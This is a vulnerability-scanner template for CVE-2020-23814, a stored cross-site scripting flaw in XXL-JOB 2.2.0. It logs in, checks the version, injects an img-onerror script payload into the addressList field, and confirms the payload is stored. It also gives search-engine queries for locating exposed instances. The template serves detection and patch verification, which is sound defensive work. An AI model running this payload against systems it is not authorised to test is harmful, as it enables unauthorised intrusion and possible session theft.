id: CVE-2020-23814

info:
  name: XXL-JOB v2.2.0 — Stored Cross Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0 allow remote attackers to inject arbitrary web script or HTML via (1) AppName and (2)AddressList parameter in JobGroupController.java file.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the AppName and AddressList parameters, potentially stealing admin session cookies or performing administrative actions on behalf of authenticated users.
  remediation: |
    Upgrade to XXL-JOB version 2.2.1 or later.
  reference:
    - https://github.com/xuxueli/xxl-job/issues/1866
    - https://www.ccsq8.com/issues.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-23814
    cwe-id: CWE-79
    epss-score: 0.00723
    epss-percentile: 0.72906
    cpe: cpe:2.3:a:xuxueli:xxl-job:2.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: xuxueli
    product: xxl-job
    shodan-query:
      - http.html:"/xxl-job-admin/static/favicon.ico"
      - http.favicon.hash:"1691956220"
    fofa-query:
      - app="xxl-job"
      - icon_hash=1691956220
  tags: cve,cve2020,xxl-job,xss,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "{{username}}"
  password: "{{password}}"
  title: "{{to_lower(rand_base(6))}}"

http:
  - raw:
      - |
        POST /xxl-job-admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/xxl-job-admin/toLogin
        X-Requested-With: XMLHttpRequest

        userName={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"code\":200")'
        condition: and
        internal: true

  - raw:
      - |
        GET /xxl-job-admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<b>XXL-JOB</b> 2.2.0")'
        condition: and
        internal: true

  - raw:
      - |
        POST /xxl-job-admin/jobgroup/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/xxl-job-admin/jobgroup
        X-Requested-With: XMLHttpRequest

        appname={{title}}&title={{title}}&addressType=1&addressList=<img src=# onerror=\"alert(document.domain)\" />

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"code\":200")'
        condition: and
        internal: true

  - raw:
      - |
        POST /xxl-job-admin/jobgroup/pageList HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}/xxl-job-admin/jobgroup
        X-Requested-With: XMLHttpRequest

        start=0&length=100

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "{{title}}","alert(document.domain)")'
        condition: and
# digest: 4b0a00483046022100d1a36db2260e76c6941fb0ddd3ada85cd9bff1c99d2e62594659507d6e93033e0221008afbfd83cba485ab67be51b09fe54f84921610ae283df593607ef4d38f4a7ea2:922c64590222798bb761d5b6d8e72950